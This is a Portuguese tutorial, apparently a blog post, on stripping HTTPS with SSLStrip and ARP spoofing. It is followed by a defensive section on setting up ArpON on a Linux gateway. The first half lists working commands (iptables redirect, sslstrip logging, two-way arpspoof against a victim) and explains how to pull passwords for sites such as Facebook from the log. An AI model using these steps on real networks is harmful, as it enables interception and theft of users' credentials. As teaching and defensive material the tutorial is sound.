Veremos um pouco sobre o
SSLStrip, descobriremos que
o uso da conexão segura
SSL não garante a proteção do
usuário 100%. Muita gente acha que ao usar HTTPS, está livre de
qualquer ataque de crackers, mas na verdade não é bem assim,
existem métodos que possibilitam o roubo de informações mesmo
em sites seguros.
O SSLStrip nos permite isso, esta técnica é relativamente fácil de
aplicar e extremamente poderosa. Ela funciona juntamente com o
arpspoof, que já vimos como funciona, para aqueles que
não viram, segue o link:
Quando um usuário conecta-se em um site seguro, ele transfere as
informações criptografadas com o servidor impedindo um ataque de
sniffing tradicional. Quando realizamos o ataque de
SSLStrip, primeiramente interceptamos o tráfego do alvo através de
técnicas
man-in-the-middle, assim, o atacante engana o alvo
fazendo-se passar por um proxy e engana o servidor se passando
pelo cliente, assim
as informações são passadas para o atacante em texto puro.
Abaixo demonstrarei como funciona o ataque propriamente dito,
utilizei um
BackTrack 5 R2 para usar o SSLStrip e um
Windows como alvo.
* Todas as informações aqui contidas são para fins didáticos e não
para causar danos e prejuízos para alguém, usem este
conhecimento com ética e responsabilidade.
Procedimentos
Primeiramente habilitaremos o encaminhamento de pacotes para
realizar o
ARP spoofing:
# echo "1" > /proc/sys/net/ipv4/ip_forward
Agora, vá até o diretório do SSLStrip no BackTrack:
# cd /pentest/web/sslstrip
Redirecione o tráfego da porta 80 para a porta que utilizaremos no
SSLStrip, no caso, redirecionei para a porta 8080:
# iptables -t nat -A PREROUTING -p tcp --destination-port
80 -j REDIRECT --to-port 8080
Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e
mandar ele logar tudo:
# python sslstrp.py -a -l 8080
Depois disso, em outro terminal, comece o ARP spoofing entre a
vítima e o
gateway:
# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1
Em outro terminal:
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55
Você pode acompanhar o tráfego dando:
# tail -f sslstrip.log
Para ver as senhas, procure por login ou passwd dentro do arquivo
de log, não se assuste com a quantidade de informações dentro do
arquivo, é assim
mesmo.
Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima
estiver utilizando o
Google Chrome não vai funcionar,
tem que ser outro navegador, como o IE por exemplo. Mas o resto
funciona, como: Facebook, Terra, entre outros.
Como se proteger
O ArpON é uma ferramenta open source que faz ARP seguro,
evitando, com isso, ataques como
Man-in-the-middle,
DHCP Spoofing,
DNS Spoofing,
Web
Spoofing,
Sequestro de sessão SSL, entre outros.
Ela funciona monitorando a tabela ARP da rede, gera e bloqueia
alterações na tabela.
Bem, como na maioria das empresas a maioria dos hosts são
Windows, iremos basear o laboratório no seguinte cenário:
FIREWALL / GATEWAY
|
SWITCH
|
---------------------------
| | |
HOST HOST HOST
Não sei se dá para entender (hehehe), mas vamos amos explicar
mais um.
pouco. É no nosso servidor
GNU/Linux que compartilha a Internet
para a rede interna que será instalado o
ArpON, e nele,
iremos colocar todos os IPs e MACs dos nossos clientes.
Assim, quando algum usuário malicioso tentar fazer o ARP spoofing,
ele não irá conseguir completar. Do alvo para o gateway, ele vai
conseguir, pois
não temos nenhuma proteção no cliente. Mas quando ele tentar fazer
do gateway para o alvo, ele não vai conseguir, pois o ArpON que está
no gateway irá bloquear, com isso, impedimos o ataque e
conseguimos até ver qual é o usuário espertinho.
Bem, vamos colocar a mão na massa. Para instalar o ArpON:
# aptitude install arpon
Agora, edite o arquivo de configuração do ArpON:
# pico /etc/default/arpon
Descomente a linha:
DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"
Obs.: Repare que existe um parâmetro nessa linha (
-i
eth1) que não haverá no arquivo de vocês, é porque no meu
laboratório a interface
da rede interna é
eth1, caso a de vocês seja
eth0, não é necessário colocar este parâmetro.
E mude a linha:
RUN="no"
Para:
RUN="yes"
Agora precisamos cadastrar os IPs e MACs dos clientes:
# pico /etc/arpon.sarpi
Edite o arquivo da seguinte forma:
#IP MAC
192.168.0.5 f5:f5:f5:f5:f5:f5
Obs.: Faça a identação com tabulações.
Agora é só iniciar o ArpON:
# /etc/init.d/arpon start
E acompanhar os logs:
# tail -f /var/log/arpon/arpon.log
Pessoal, é isso aí.
Espero que tenham curtido a dica e que a usem, pois isso evita
muitos problemas futuros.
Até a próxima.